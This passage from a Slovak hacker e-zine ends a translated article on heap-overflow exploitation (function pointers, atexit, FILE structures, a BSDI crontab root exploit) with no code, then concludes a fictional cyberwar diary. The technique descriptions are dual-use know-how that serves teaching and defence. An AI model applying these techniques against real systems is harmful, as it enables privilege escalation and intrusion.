    vyuzit (bud ako buffer, alebo pointer na funkciu). atexit() ma pointery (v
    pamati) na funkcie, ktore budu volane, ked program skonci, strdup() moze ukladat
    retazce (ako nazvy suborov alebo hesla) do heapu, malloc() ma vlastne retazcove
    pointre, ktorymi sa da pristupovat do pamate, getenv() uklada data do heapu, co
    nam dovoluje modifikovat nieco ako $home, potom ako bude na zaciatku
    skontrolovany. svc/rpc funkcie (librpc, libnsl atd) udrziavaju navratove funkcie
    (ulozene v heape).


    predvedieme si prepisanie windows navratovych funkcii a prepisanie file (__iob)
    struktur (s popen). ked vieme ako prepisovat file struktury s popen(), dokazeme
    si celkom rychlo predstavit, ako to robit s inymi funkciami (napr. *printf,
    *gets, *scanf, atd), tak dobre, ako aj s dir strukturami (pretoze su velmi
    podobne).


    heap-based overflow sa dal vyuzit v bsdi crontabe po zadani dlheho nazvu suboru,
    ktore overflowol staticky buffer. nad buffrom v pamati sme mali pwd strukturu!
    teda ulozeny username, password, uid, gid atd. prepisanim uid/gid polozky v pw,
    sme mohli nastavit privilegia s ktorymi crondaemon pustil nas crontab. nas
    script (v crontabe) mohol hodit suid root shell (fantazii sa medze nekladu),
    pretoze to cele frcalo pod uid/gid 0.

    tiez bolo mozne ziskat roota, potom ako sme exploitli heap overflowom uucp
    privilegia prepisanim statickeho buffra pri zadavani nazvu subor na
    send/receive.


    mozna ochrana:


    samozrejme, najlepsia ochrana pred heap-based overflowmi je pisat v prvom rade
    dobry kod. podobne ako pred stack-based overflowmi, zatial neexistuje nejaky
    realny sposob na prevenciu heap-based overflowov. existuje speci soft na
    kontrolovanie hranic (na detekciu najcastejsich moznych heap-based overflowov)
    pre gcc/egcs vyvinuty richardom jonesom a paulom kelly
    (http://www.annexia.demon.co.uk). detekuje pretecenie zapricinene ludskym
    faktorom. pre windozy existuje numega bounds'checker, ktory robi zhruba rovnaku
    kontrolu hranic ako bounds checking pri gcc. stale mozeme vytvorit
    non-executable heap patch (ale ako sme spominali na zaciatku vacsina systemov
    ma executable heap). solar designer spomenul, ze hlavne problemy s
    non-executable sa bude tykat compilerov, interpreterov atd.
    k non-executable heap patchu treba dodat, ze jedine, co zabezpeci je, ze
    nemozeme vykonavat instrukcie v heapu, vonkoncom to nie je ochrana proti
    prepisovania dat (pointerov) v heape [ heheh. to sa bude dat este pekne dlho ;-)]
    existuje moznost vytvorit heapguard, ktory bude ekvivalentny cowanovmu
    stackguardu (ktory sme uz spominali). jeho funkciou je zabranit prepisovaniu
    navratovych adries (na stacku) nejakym exploitom. vobec nezabranuje heap/bss
    overflowom. mozno niekedy v buducnosti sa niecoho dockame...


    odkazy:


    solar designer: superprobe exploit (pointre funkcii), color_xterm

    exploit (pointre struktur), website (pointre poli), etc.

    l0pht: internet explorer 4.01 vulnerablity (dildog), bsdi crontab

    exploit (mudge), etc.

    joe zbiciak/adam morisson



    matt conover (a.k.a. shok) & w00w00 security team,

    preklad a uprava: wilder, wilder(at)hq.alert.sk


    navrat na obsah




    velka kyberneticka vojna roku 2002 [dokoncenie]


    24 jul, 21:42 edt


    to bol den! tu je to, co sa stalo, vacsinu z toho dnes v spravach nenajdete, ak
    vobec niekedy.


    operacie triphammer a javelin - v kolumbii a spratly - zacali dnes skoro rano,
    pol zemegule vzdialene ale takmer sucasne.


    zhrnutie, ktore som si narychlo pozrel, ukazuje, ze obe americke utocne jednotky
    boli velke "baliky", ktore potrebuju velku transportnu a bojovu podporu, co
    znamena, ze bolo lahke ich zbadat, ako sa presuvaju k utoku. vlastne to vyzera,
    ako keby jedna z jednotiek bola uplne ocakavana. jednotka triphammer nasla len
    opustenu operacnu bazu - avsak az potom, co sa prebojovala cez automaticky
    ovladany gulomet a obranny system. (napada ma myslienka - kto to vsetko plati?)
    ked rangeri dosiahli riadiace centrum, cele zariadenie bolo dialkovo odpalene,
    kopa mrtvych. kolumbijska vlada protestovala proti vpadu. senator trumball
    povedal:

    "viete co? kolumbijska kokainova vlada mi moze pobozkat moju rebelsku rit."

    a vacsina krajiny s vyhlasenim suhlasila - ta ista vacsina, ktora by este pred
    rokom tento prejav odsudila ako nechutny.


    druha utocna jednotka na ceste k zakladni spratly bola v obojzivelnom vozidle
    privitana dialkovo ovladanou minou, ktora im vybuchla priamo pri kyle, cim lod
    zlomila napoly. operacia javelin pokracovala dalej s tromi helikopterami plnymi
    marinakov, ktori zautocili na pobrezie. tentokrat nasli obsadene operacne
    kontrolne centrum a po kratkej ale prudkej prestrelke, pri ktorej zabili 20
    obrancov stanovista, zajali 4 vaznov a par kusov vybavenia, ktore nebolo znicene
    pocas stretu. dufam, ze tyto manici neboli len pasca.


    kde je laurie?


    25 jul 15:39 edt


    prezidentka zase prehovorila k narodu, tentokrat oplakavala stratu mnozstva
    rangerov a marinakov. tiez spomenula velku odplatu, ktoru utocnici zaziju v
    nasledujucich dnoch. asi takto:


    "opat raz je amerika ochranovana svojimi odvaznymi bojovnikmi. a s bozou volou
    budu pokracovat, az do nasho vitazstva. pretoze nasi nepriatelia bojuju
    len z temneho pritmia, musia nakoniec tuto vojnu prehrat - zmiznu z povrchu
    zemskeho..."


    hocaka uzasna je prezidentkina vyrecnost, nemoze to vsak zmenit fakt, ze jej
    rating klesol na 12 percent. je na tom horsie ako nixon pocas afery watergate.
    jedna dobra vec: zda sa, ze jednotky nenasli nic co by ukazovalo na cinanov.


    najdramatickejsou udalostou dna vsak bolo dorucenie videopasky v kabule, ktora
    bola posunuta bezmennym poulicnym chuliganom christiane amanpourovej zo cnn, ked
    robila reportaz z afghanistanu.


    bola to nahrata sprava od "talusa", ktory sam seba nazvlal hovorcom pfw. aj ked
    taulus bol az prilis ukecany, bolo jasne o co ide:


    "pfw su oslabeni stratou svojich hrdinov, ale ich krv moze len posvetit nas
    zamer. posledny utok zacne hned ako sa nase sily, ktore su pocetne ako zrnka
    piesku v pusti, spoja, aby zasadili posledny uder"


    vsetko vyzera autenticky. v sprave cia pre excomm je uvedene, ze paska bola
    nahrata v kabule toho dna z inej pasky ktora bola prehrata cez mobilny telefon.
    kabul! aspon vieme s kym mame do cinenia...


    analyza talusovho hlasu ukazala, ze je generovany pocitacom pomocou popularneho
    freewaroveho programu.


    zap! uvadza, ze hackerske zdroje "s urcitostou" potvrdili, ze nejaku ucast v pfw
    maju aj rusi. moj pohlad na vec je, ze hackerske zdroje malokedy vedia nieco
    urcite. v tomto nazore sa connie a ja rozchadzame. specificke tvrdenie bolo, ze
    rusi pouzivali cali kartel ako clonu, ktora im mala zabezpecit krytie. oficialne
    vyhlasenie americkej vlady via nyt:

    "dokazy spajajuce rusko s cybervojnou su len nepriame a su bezvyznamne proti
    opakovanym ponukam spoluprace v boji proti pfw z ruskej strany."


    ale tak isto mozme byt pred tretou svetovou vojnou...doriti...


    tiez na zape!:

    "online nation vyhlasili, ze pfw je pokus vladnych spionaznych agentur ich
    zdiskreditovat. za posledne dva roky stupenci online nation tvrdo bojovali za
    uznanie statutu naroda v kyberpriestore."


    statut zahrna danovu ulavu od platby americkej dane z prijmu, pretoze ako tvrdia
    "zijeme prevazne v kyberpriestore". je fakt, ze online-aci nemaju v sucasnosti
    pred nicim respekt.


    27 jul, 07:36 edt


    analyza dat priniesla bohate dokazy o tom, ze rusko a cina boli zapletene - ak
    priamo nestali za - do utokov a pouzili tak cali kartel ako i azijske kriminalne
    organizacie iba ako krytie. nakoniec teda cina! informacie ziskane od zajatcov
    zo spratly, vsetko malajzijci cinskeho povodu, suhlasia s vysledkami nasej
    analyzy.


    naokolo sa povrava, ze zajatci zo spratly boli podrobeni najpokrocilejsim
    vypocuvacim technikam. pekny sposob, ako povedat, ze im usmazili mozgy
    vselijakymi drogami a bohviecim este. prehlasenia, ktore urobili, potvrdili, ze
    bojujeme proti cinsko-ruskemu konzorciu. genaral vreeland navrol to, co sa
    vsetci bali co i len vyslovit. nuklearny utok proti jednej vybranej sovietskej
    zakladni ako varovanie - potom padnu k zemi, nemaju dostatok jadrovych zbrani,
    aby mohli utok opetovat, tvrdil. mckay a ja sme na neho zdesne hladeli - este
    viac nas sokovalo, ze ostatni tento jeho navrh zobrali vazne.


    nastastie prezidentka s odporom vzdychla a povedala:

    "hladas sud pusneho prachu na hasenie cigariet, vreeland?"

    "pozrite, nakopme ich do riti za tu facku do tvare"
    zahlasil mckay "ale urobime
    to jackovou metodou."

    vsetci na mna upreli svoje pohlady. sef nsa so zuzenymy ocami. stale mi
    nedoverovali a jedine prezidentkina neoblomnost ma udrzala v hre.

    "mozme na kybervojnu odpovedat kybervojnou"
    povedal som.

    prezidentka k tomu znepokojene dodala:

    "mozno. ale to moze byt tak isto provokativne ako jadrova bomba."


    zacala rozpravat o sankciach a ja som si iba rezignovane povzdychol. ale mckay
    a ja sme sa rozhodli pracovat na kontingencnom plane kybervojny a ministri
    vnutra a obrany nas v tom podporili.


    27 jul, 11:17 edt


    prisiel email:

    "prezidentka schvalila plan excommu, navzdory tomu, ze cina a rusko nadalej
    odmietali ucast na utokoch proti spojenym statom."


    zatial sa americania loguju na siet, komunikuju s ruskymi a cinskymi obyvatelmi
    siete cez email a s ostatnymi cez fax. snazia sa ich presvedcit, aby bojovali
    proti studenej vojne, ktoru sa snazia viest ich vlady. uvidime, ci je internet
    tak mocny.


    pre mna bolo uzasne ako sa vojsko spolieha na udaje zo zap! sajtov. ako som
    spomenul, maju vzdy najlepsie informacie ako prvi. zvycajne vojenska rozviedka
    len potvrdi fakty. maju 25 surferov zamestnanych na plny uvazok, ktori citaju
    vsetky sajty.


    bol som na polceste do vypoctoveho strediska, ked som zazrel ministerku vnutra
    (clenku excommu) ako s cervena v tvari reve na nejakeho podriadeneho, ze
    myslienka obcanov pokusajucich sa ukoncit vojnu moze len "vystupnovat uz
    existujucu krizu, ktora potrebuje uz len male stuchnutie aby prerastla do
    nuklearnej vojny".


    tuzil som jej povedat, ze jej reci stoja za hovno ale nemalo by to vyznam. ona
    ani vlada nema ziadnu realnu moc nad sietou - a to je sila siete.


    27 jul, 13:45 edt


    armada spojenych statov sa horuckovito pripravuje na svoju odvetnu kampan,
    operaciu cyberlord (ktorej info-bojove aspekty nazvali digitalnou burkou).
    plan zavisi na rychlej reakcii jednotiek rychleho nasadenia (8-10 vojakov).
    tito zautocia a fyzicky znicia utocnicke hniezda, umiestnene mimo uzemia ciny
    a ruska. vreeland mal zase nejake sialene plany s bombardovanim oboch krajin,
    ale nastastie mu to nepreslo.


    jeden z mojich jobov pre mckaya bolo obhajit pouzitie malych jednotiek pred
    excommom. argumentoval som, ze menej je viac. cim mensie jednotky, tym viacej
    ich moze byt nasadenych v akcii.


    na zaklade dat pozbieranych z predchadzajucich utokov, zo zap! sajtov a od
    rukojemnikov, americka rozviedka bola schopna potvrdit a fyzicky zamerat 13
    operacnych centier v utocnej sieti pfw. vsetky su mimo uzemia ruska a ciny,
    vacsina na spornej pode, tak ako stanoviste v spratley. na vsetky sa zautoci
    v uvodnych hodinach protiofenzivy.


    prezidentka konecne odsuhlasila vojenske utoky. tieto utoky su pripravene tak,
    aby sa mohla popriet americka ucast na nich, cim sa tato cast vojny zachova
    "studenou", na druhej strane, operacia digitalna burka by mala prebehnut takou
    silou, ze prinuti pfw skoncit tuto cybervojnu.


    naproti opatrnym utokom pfw proti spojenym statom, americka ucast na cybervojne
    bude rychla a rozsiahla - druh vojny, ktory opisal historik russell weigley ako
    - "americky sposob vojny".


    1 august bol stanoveny na prvy den protiofenzivy.


    01 august, 16:50 edt


    vsetci mame pochybnosti o protiofenzive. moze viest k nuklearnej vymene. zoberte
    si krajinu frustrovanu cybervojnou. ked si myslia, ze padnu tak ci tak, mozno
    stlacia odpalovacie tlacidlo. ale, samozrejme, nemozem sediet na zadku a nechat
    ich pustat nam zilou az do smrti - smrti na nasledky tisica bodnuti. tu
    zeleznica, tam mesto, mozno par jumbojetov s pasaziermi, az pokym sa nezruti
    ekonomika... a mozno skoncime s destabilizaciou a vojenskym prevratom.


    na obavy je neskoro. uz sme sa rozhodli.


    laurie sa nakoniec ozvala. je ok! v detroite bola nejaka strasna evakuacia.
    vojaci, vojenske autobusy... je zvlastne, ze sme o tom nepoculi. ale teraz su
    spravy plne inych veci.


    operacia cyberlord bola zahajena dnes rano pechotou americkych specialnych sil
    a v rovnakom case ako zacal utok, skolabovali energeticke siete ruska a ciny.


    potrubia v oboch krajinach boli poskodene, avsak guang zhou daily sajt oznamil,
    ze boli schopni zabranit totalnej prirodnej katastrofe len vdaka hrdinskym
    zasahom pracovnikov, ktori manualne uzavreli cely sektor - a potom ztlmili
    priboj ropy, ktora uz vytiekla.


    utok spojenych statov sa rozrastol na kyberutoky na rusky a cinsky financny
    sektor, cim sposobil totalny chaos v oboch statoch. v obidvoch pripadoch bol
    pouzity modifikovany morrissov cerv - s velkym uspechom. tento osobitny utocny
    nastroj, ktory umoznuje nekonecnu replikaciu a generovanie nezmyselneho kodu,
    vychrlil obrovske mnozstva dat na stare ruske unixove mainframy, ktore sa este
    stale pouzivaju.


    ruske a cinske dopravne, financne a energeticke systemy boli odstavene, co
    sposobilo nekalkulovatelnu ekonomicku skodu a predbezne spravy hovoria, ze
    straty na zivotoch boli vacsie ako v spojenych statoch na zaciatku konfliktu.


    stale si opakujem: "oni to zacali, oni to zacali..."


    01 august, 23:31 edt


    kyberutoky na usa sa obnovili a tentokrat boli zamerane na financny sektor.
    avsak, ako tvrdi wall street journal toto je najlepsie chranena oblast americkej
    infosfery. kazde utocne hniezdo je rychlo zamerane specialnymi jednotkami
    a zneskodnene.


    02 august, 09:01 edt


    bol som v bufete v pentagone, jedol som sendvic a prezeral som si spravy nasich
    utokov, ked zem pod mojimi nohami akoby nadskocila. dole pod nami prebiehali
    explozie. v rovnakom case som zacul obrovsky rachot. svetla na moment zhasli,
    o chvilu naskocil zalozny zdroj.


    pomyslel som si: "tak uz je to tu. prehrialo sa to, atomova vojna..."


    vybehol som do haly, tak ako ostatni z bufetu. ozbrojeny vojaci po nas hulakali,
    aby sme isli do podzemia po poziarnych schodoch. bezal som do svojej kancelarie,
    schmatol som laptop a utekal za ostatnymi pod zem. uz neboli badatelne ziadne
    vybuchy. rozsirili sa chyry, ze vybuch nebol nuklearny. bol to druh emp bomby.
    predstavte si masivnu mikrovlnnu pecku - v plnej intenzite. vonku je totalny
    chaos. ludia zhoreli. niektori s napoly uvarenymi mozgami, blabotali. auta sa
    zastavili na ulici - elektronika zhorela - blokujuc policajne a zachranarske
    vozy. bolo to otrasne.


    02 august, 09:46 edt


    moj laptop prestal fungovat - dnes pisem na kus papiera. dam si to do mojich
    zaloznych poznamok, ked si zozeniem novy.


    poslali ma do nemocnice na kontrolu, len pre istotu. vyzera to tak, ze som v
    poriadku.


    pretoze ziadna elektronika v budove nefungovala, chvilu trvalo zistit, ze
    mikrovlnna megabomba vybuchla nedaleko vchodu do pentagonu od rieky. tak ako
    variant emp bomby bola navrhnuta na uprazenie telekomunikacneho vybavenia, ako
    aj personalu v blizkosti. a to aj spravila. toto bol zjavny pokus knokautovat
    informacne bojove centrum usa. ale kybervojna bola riadena z velmi hlbokeho
    podzemia a iba par povrchovych komunikacnych liniek bolo znicenych. zbytok
    pentagonu bol aj tak pekne zapeceny. myslite, ze boli tieneni? nie...


    najvecsi uder schytali ludia na parkovisku pri vchode. inzinieri tvrdia, ze
    predbezne vypocty ukazuju, ze to bola najsilnejsia mikrovlnna bomba, aku kedy
    videli.


    02 august, 22:46 edt


    spat v mojej kancelarii, ktora je relativne neposkodena. prezidentka zavelila
    odvetu, ale stale pod ruskom tajnosti. utok na ruske zakladne v kaliningrade,
    a na cinske komunikacne centrum v beihai.


    03 august, 11:05 edt


    ziadne dalsie bombove utoky na us zakladne. nikde. vela ludi z excommu to berie
    ako tichy dokaz, ze v podstate bojujeme tretiu svetovu - proti cine a rusku -
    a ze nemaju dost silny zaludok alebo vedomosti na udrzanie takehoto konfliktu.
    ja si myslim, ze cina a rusko planuju posunut celu vojnu do inej urovne...
    pretoze vedia, ze prezidentka je zdrahava. a mozno, ze nie je a prave v tom je
    hrozba. rozmyslam ako connie. (a kde vlastne je? ziadna odpoved na email. to sa
    na nu nepodoba)


    rusko a cina pokracuju v popierani ucasti na vojne a ukazuju obvinujuci prst na
    spojene staty. matne hrozia moznostou jadroveho vyvrcholenia.


    prezidentka, ktorej rating sa akosi ustalil, sa drzi dobre. citi ze vyhrava
    kybervojnu a ze nikto nepouzije atomovu bombu ako prvy. je na horucej linke s
    moskvou a s pekingom a presviedca ich, ze spojene staty nemaju nic spolocne s
    tymi utokmi. jeden priatel spomenul, ze povedala lebedovi:

    "vsetci sme obete."


    co ine mohla povedat?


    04 august, 16:18 edt


    prave ked sa zdalo, ze nuklearna kriza je zdarne zazehnana a ako i polne tak i
    kyber operacie sa vyvijaju pre nas priaznivo, vojnove usilie dostalo bolestny
    uder - z vnutra. od opozicie prezidentkinej politiky.


    dnes komisia vedcov cez informatiku priliala benzin do ohna protestom obyvatelov
    siete uverejnenim informacii na zap! sajte, dokazujuc, ze spojene staty, napriek
    svojim verejnym vyhlaseniam, su zapojene do kybervojny proti rusku a cine.


    musim uznat, ze som hlboko sklamany tymto vyvojom, i ked respektujem hlad
    obyvatelov siete po informaciach. vyhlasenie komisie o tajnej kybervojne
    vyvolalo nepokoj uz po niekolkych hodinach. je to vo vsetkych spravach, vsade.
    a myslim naozaj vsade. titulok na zape!: "verejnost ziada okamzite ukoncenie
    hackovania!"


    ako oznamili najnovsie spravy, drviva vacsina amikov nechce byt ani najmensou
    sucastou v rozsiahlej, extremne narusajucej tajnej vojne. prieskumy verejnej
    mienky jasne ukazali, ze verenost je proti neviditelnej vojne, ktora sa dotyka
    ich domovov, narusa dopravu, financnu bezpecnost a ich vlastne zivoty.
    prezidentkin rating prudko klesol.


    bude dost tazke pokracovat. nemam ani potuchy, co mckay urobi. dnes sa nekonala
    ziadna tlacovka.


    04. august, 23:51 edt


    od mckaya som pocul, ze prezidentka, ktora sa obrnila a zacala ist vsetkymi
    sposobmi proti rusom a cinanom, bola roztrasena a zaskocena masivnymi
    elektronickymi protestmi proti kybernetickej vojne. fakt, ze americania
    vynuchali jej tajnu operaciu cyberlord, ju vystrasil. pytala sa protestujucich:

    "snad nechcete vyvolat skutocnu vojnu? jezisikriste, oni si neuvedomuju, ze
    tato 'studena vojna' je cesta, ktorou sa veci v informacnom veku uberaju - a je
    to tak lepsie!"


    "hej,"
    zasupil sa mckay. "to predsa nestaci. preco...niektorym ludom by mohli
    chybat ich oblubene programiky!"
    krcovito sa rozrehotal na plne usta. znelo to
    ako nieco, co prave vymyslel. kazdopadne bolo jasne, co mame robit - co najskor
    ukoncit operaciu cyberlord.


    mam strach, ze nas cis a jej kamarati mozu dotlacit az k nuklearnej vojne! ak
    mame obstat v skuske, i napriek pochybam, ako je trebars identita naseho
    nepriatela, teraz sme na tahu my.


    mckay bol namorny kapitan, takze som obhajoval svoj pripad pomocou analogie
    s lamacmi kodu. ktori pomahali lovit u-booty v druhej svetovej. niekedy sa
    zavesili na zachyteny signal povolujuci utok na konvoj - v nadeji, ze by vlcia
    svorka mohla byt v spojeni s velenim dostatocne dlho, aby ziskali kluc k
    nemeckemu kodu sifrovacieho zariadenia enigma. to okrem ineho znamenalo, ze
    nacuvali volanie konvoja o pomoc, az pokym zufala bitka neskoncila a nemohli
    podniknut ziadne kroky veduce k startu lietadiel zo sprievodnych lodi a utoku
    na nemecke ponorky. spinavy obchod. to je koniec-koncov vo vojne normalne.


    v jednej z najriskantnejsich operacii vojny velitelstvo informacneho boja
    docasne oslabilo ochranu jadrovej elektrarne v diablo kanyon. bola vybrana,
    pretoze sme v poslednych par dnoch detekovali niekolko pokusov o infiltraciu
    do ovladacich systemov elektrarne, avsak neboli sme schopni identifikovat
    utocnika. dufali sme, ze ziskame dostatok casu an jeho vystopovanie, predtym,
    nez utok zarazime.


    nechce sa mi ani pomysliet, co by sa stalo, keby sme boli prilis pomali. connie
    na to stale myslela. pozrite kam ju to dostalo. ivars mi hovoril, ze ju zabasli.


    05 august, 12:36 edt


    utok skutocne prisiel. ani nie po hodine a pol po oslabeni ochrany. bol zamerany
    na centralny riadiaci system vo forme obrovskej logickej bomby, alebo, ako sa
    jej obycajne hovori kvoli jej destrukcnej vlastnosti - i-bomby. dovolili sme
    utocnikovi prielom do systemu bez akychkolvek zabran.


    utok prebiehal nasledovne: hacker pomocou brute force utoku nasiel heslo ku
    klucovym kontrolnym systemom. potom, ako sa dostal dnu ako obycajny pracovnik
    elektrarne, mal obmedzeny pristup k beznym ovladacim prvkom. nechali sme ho
    pracovat, pokym sme nevystopovali, odkial je pripojeny...


    zdrzanie medzi jednotlivymi obrannymi krokmi zposobilo, ze i-bomba stihla
    ciastocne vybuchnut. avsak podarilo sa nam zamedzit obrovskym kaskadovitym
    efektom, ktore by sprevadzali "cisty" vybuch. vysledok pasce bol, ze sa
    chovanie reaktora priblizilo ku kritickym hodnotam. silny pobrezny vietor
    rozfukal lahko radioaktivny mrak na uzemie obyvane skoro milionom ludi.


    inak sa nic nestalo.


    vacsina z nich pravdepodobne aj tak neumrie priamo kvoli tomu. viac ich zomrie
    na detsku leukemiu. inak sa nic nestalo. inak sa nic nestalo. pripijam si na:
    "inak sa nic nestalo!"


    05 august, 18:45 edt


    vysledna identifikacia, ktoru velitelstvo informacneho boja ziskalo
    nedobrovolnou obetou v diablo canyon dala excommu a prezidentke slusnu istotu,
    ze za kyberneticou vojnou nestoji rusko ani cina.


    aj napriek tomu, ze kartel cali a azijske triady sa vojny zucastnili, bolo
    centrum utoku na reaktor zamerane v problemovej abchazskej republike. odtial,
    ako ukazovla analyza trafficu, islo od zaciatku vojny najviac komunikacie do...
    severnej koreje. sialenec v severnej korei bol tretim hracom.


    ked bola prezidentka oboznamena s tymito informaciami na schodzi excommu,
    povedala nam, ze vazni pri vysluchu priznali, ze boli nastrceni a instruovani
    tak, aby to hodili na rusov a cinanov. ako dlho to nsa a im podobne skupiny
    vedeli? chcel niekto z nich konflikt s cinou a ruskom - napriek tomu, ze
    vedeli, ze to pravdepodobne islo zo severnej koreje? mal by som o tom vobec
    pisat? (nepustili ma, aby som videl connie, ktora je zatvorena, co ma sralo
    najviac - v dc.)


    podla vodcu vaznov, mala vojna vyvolat konflikt medzi veducimi velmocami,
    triady by ziskali vyhodu dlhej studenej vojny, behom ktorej by ziskalo kontrolu
    nad transpacifickym obchodom. ako legalnym, tak nezakonnym. ano, severna korea
    chcela byt spolupachatelom ale bolo tu vela malych statov: vietnam, irak, lybia,
    ktore vsetky velke mocnosti nenavideli a zaroven sa ich bali. to bol hlavny
    dovod, preco bola kyberneticka vojna vymyslena. mala ich postavit proti sebe
    navzajom, podla slov vaznov, "ako zuriacich vlkov". potom by svet mohol byt
    bezpecnejsi, ako by sa vplyv mocnosti zmensoval - pokym by nezmizol uplne -
    a mohlo sa stat, ze lup by isiel k vitazom.


    na mckayove odporucanie prezidentka vydala okamzity prikaz zastavujuci
    kyberneticke utoky na rusko a cinu. prostrednictvom diplomatickych kanalov
    sa nepriamo ospravedlnila. velmi, velmi nepriamo...a to tak, aby sa to dalo
    lahko popriet, keby sa to dostalo na verejnost. v tej istej dobe dala prikaz
    specialnym jednotkam k utoku na centrum v abchazsku. pripravy zacali ihned.
    utok bol naplanovany na zajtrajsie rano. dalsie prikaz uviedol do bojovej
    pohotovosti nase jednotky v korei.


    06 august, 19:22 edt


    operacia roland bola zahajena prienikom do abchazska, udernou jednotkou
    zostavenou z dvoch ciat seal a jedneho a-teamu specialneho nasadenia.


    takto to verejnost miluje: bezpecne v zamori, krasne a ciste. zabijanie nie je
    vidiet, pokial zrovna necumite do bedne.


    pre nepriatelske velitelstvo bol utok takmer dokonalym prikladom momentu
    prekvapenia (konecne). aj napriek tomu, ze boli obrancovia dost a dobre
    vyzbrojeni, stanica bola obsadena, dokonca s takmer neposkodenym vybavenim.
    dvanast nasich vojakov bolo zabitych ale ziadne americke programy, feny,
    chladnicky ani interenety neboli poskodene. sakra, uspech, nie?


    prve reakcie z ruska a ciny neboli odsudzujuce. jasne naznacovali tuzbu po
    ukludneni situacie. nechceli ani nuklearnu vojnu, ani dlhy boj v skutocnej
    kybernetickej vojne. obe velmoci podnikli urcite zastrene kroky ohladne pomoci
    usa v povojnovej obnove. prezidentka mala, ako som pocul, vycitky svedomia.
    slubila pomoc v obove ruskej a cinskej informacnej infrastruktury. vsetka
    pomoc, ako inak, bol apodmienena spolupracou pri stopovani medzinarodnych
    zlocincov a teroristov, ktori stali v pozadi tejto vojny. a specificku cinsku
    vypomoc pri potlacani korejskych tuzob.


    07 august, 13:38 edt


    v poslednom prejave americkemu ludu a svetu volala prezidentka po okamzitom
    ukonceni hackovania a nicenia. americke sily, ktore sa zucastnili operacie
    cyberlord boli rozpustene. povedala amikom, ze velka kyberneticka vojna bola
    zinscenovana niekolkymi "medzinarodnymi zlocineckymi organizaciami" v spojeni
    s niektorymi statmi ("s kolkymi presne, to sa asi nikdy s istotou nedozvieme",
    poznamenala). divim sa, kto jej to napisal. dodala, ze pfw boli definitivne
    zmeteni z povrchu zemskeho a ze velka kyberneticka vojna mala uzitocny vedlajsi
    efekt. a to, ze pomohla k vyhre v drogoej vojne - teraz, ked su kartely tak
    oslabene. prihodila este poznamky, ze "rusko, cina a nasi spojenci z nato, boli
    urceni k skonceniu hrozby kybernetickej vojny, bojovnych statov, kriminalnikov
    a teroristov." a vsetci suhlasili so sankciami voci korei. vobec nespomenula
    radioaktivny mrak.


    za zape! (ktory ma dnes cez 12 milionov pristupov denne a bol odkupeny time
    warner), spolocnost vedcov cez informatiku komentovala prezidentkinu rec drsnou
    kritikou a pozadovala aby zaplatila svoju drahu a nevyhlasenu tajnu vojnu proti
    rusku a cine. na tlacovke prezidentka komentar odmietla a hovorila o "case
    ozdravenia".


    na poslednom stretnuti excommu sme sa dozvedeli, ze prezidentka podpisala
    zahajenie operacie cain - plan sabotazi v severnej korei. mali sa uskutocnit
    v priebehu niekolkych nasledujucich mesiacov a sposobit kolaps rezimu v
    pchjong-jangu, aby mohlo dojst k zovuzjednoteniu poloostrova.


    31 august, 17:47 pdt


    uz tyzdne neboli detekovane ziadne nepriatelske utoky.


    pfw - nejaki "skutocni" lameri - boli velmi blizko tomu, aby rozputali
    celosvetovu vojnu, v ktorej by sa velmoci znicili navzajom. a rovnako ako sme
    sa my naucili, ako sa mame branit a ako viest protiutoky, tak i oni sa museli
    naucit novu taktiku - taktiku, ktoru proti nam skor ci neskor znovu pouziju,
    ked budu mat vhodnejsiu prilezitost.


    12 september, 08:26 pdt


    hovoril som s mckayom o connie a ivarsovi - povedal, ze u zich pustili! tajne
    sluzby sa zjavne snazili dostat ich za mreze ale nepodarilo sa im to. ale...
    connyina rodina vravi, ze ona a ivars "odisli do undergroundu... spolu".
    nehovoril som s nimi a tak neviem, preco sa tak radikalizovali. mozno je to
    nutna pretvarka. ale mohli odist, pretoze vedeli, ze budu stale sledovani.
    connie vedela prilis vela a mala na veci "zly" nazor. dufam, ze vyklzla nsa.
    nestaram sa, na ktorej zasranej strane je.


    operacia cain bola odhalena a potlacena. plan bol postnuty na zap! asi pred
    tyzdnom. tento incident nevyhnutelne musel ztazit snahy o "vycistenie" severnej
    koreje.


    12 jun 2003, 13:02 pdt


    ubehly mesiace a stale nikto z bojovnikov velkej kybernetickej vojny nepriznal
    svoju plnu ucast. stale sme iba banda deciek s dosiroka otvorenymi ocami,
    mykajuci ramenami a volajuci: "to som nebol ja, mami!"


    spojene staty vedu s ruskou a cinskou podporou kampan na zakaz a zmluvne
    zavazky ohladne prveho pouzitia kybernetickych zbrani. ale divil by som sa,
    keby taka zaruka mala nejaky vyznam.


    a samozrejme, ze akykolvek zakaz kybernetickej vojny ratifikovany spojenymi
    narodmi ma minimalny vyznam pre lotrov, teroristov a kriminalne siete, ktori
    predovsetkym sposobili velku kyberneticku vojnu. velitelstvo informacneho boja
    sledovalo kroky podniknute jednotlivymi velmocami pri hladani sluzieb tychto
    kybernetickych bojovnikov. kazdy chcel zohnat najdrsnejsieho typka. mozno, ze
    sme mali najviac cigariet na rozdavanie, pretoze nase odpovede odstartovali
    preteky v preplacani ich sluzieb... obchod ako vzdy. ale nic pre mna.


    zacinam nenavidiet ludsku spolocnost - a ja naozaj nechcem byt cynicky ohladne
    ludi. potrebujem nejaku cestu von. musim sa nejako obrnit, vypnut pocitac
    a vypnut mozog. dnes som poslal spravu mckayovi. informoval som ho ohladne mojho
    umyslu vratit sa spat do namornej postgradualnej skoly. ukoncil som ju citatom
    z poslednej reci nacelnika josepha z nez perce: "pocuvaj ma, moje srdce je chore
    a smutne. odo dnesneho dna uz nikdy nebudem bojovat."


    (koniec)


    date: sat, 17 nov 2003 22:05:42 -0500
    to: calvin tucker
    from: gregg lanam
    subject: *naozajstna* pravda za kybernetickou vojnou??
    x-uidl: 9c1fdfd6ff5abf1beb6e98e1dc4ac845


    hej calvin, prave som nasiel tuto binarku na alt.conspiracy. je to nejaka
    zlozka. anonymny post od niekoho, kto vravi, ze jeho kamarat to vytiahol zo
    suboru nejakeho vojaka. nieco ako novy druh hacku. hovori tomu fish. budes
    potrebovat acrobat, aby si si to precital, ma to hrozne vela zvuku a video
    sekvencii.


    a pocuj, v nedelu vecer som to tak nemyslel, iba som zartoval. co si myslis
    o tomto? myslim, ci je to naozaj pravda, je niekto prekvapeny, ze sme zase
    klamali? ako obvykle, clenovia vlady drzia pri sebe. - gregg



    prielom(at)hysteria.sk


    navrat na obsah





    .cz a .sk free mail servery



    nuze, zde mame podrobnosti o security bugu ceskych a slovenskych freemail
    serveru. je to uz stare (underground.cz to zverejnil nekdy v listopadu) a
    servery to maji fixnute, ale piseme o tom, abyste videli co se vsechno s
